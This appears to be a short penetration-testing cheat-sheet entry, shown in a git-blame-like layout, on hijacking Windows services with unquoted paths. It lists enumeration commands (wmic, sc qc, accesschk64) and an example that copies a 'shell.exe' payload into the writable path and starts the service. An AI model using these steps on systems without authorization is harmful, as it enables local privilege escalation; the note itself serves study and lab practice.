2021-10-16 00:40:15 +02:00
|
|
|
# Unquoted Path
|
|
|
|
|
|
|
|
* Path to a service without quotes can be hijacked by inserting other executables and services into the path.
|
2021-10-23 02:03:06 +02:00
|
|
|
* Some part of path has to be writeable, windows tries to insert `.exe` instead of a space.
|
|
|
|
* Check services via `wmic service get name,displayname,pathname,startmode` and `sc qc <servicename>`
|
|
|
|
* Check permissions on paths via `.\accesschk64.exe /accepteula -uwdq "C:\Service Path\"`
|
|
|
|
|
2021-10-16 00:40:15 +02:00
|
|
|
## Example
|
|
|
|
* The unqoted path is `C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe`
|
|
|
|
```sh
|
|
|
|
copy C:\shell.exe "C:\Program Files\Unquoted Path Service\Common.exe"
|
|
|
|
```
|
|
|
|
```sh
|
|
|
|
net start <service>
|
|
|
|
```
|
|
|
|
|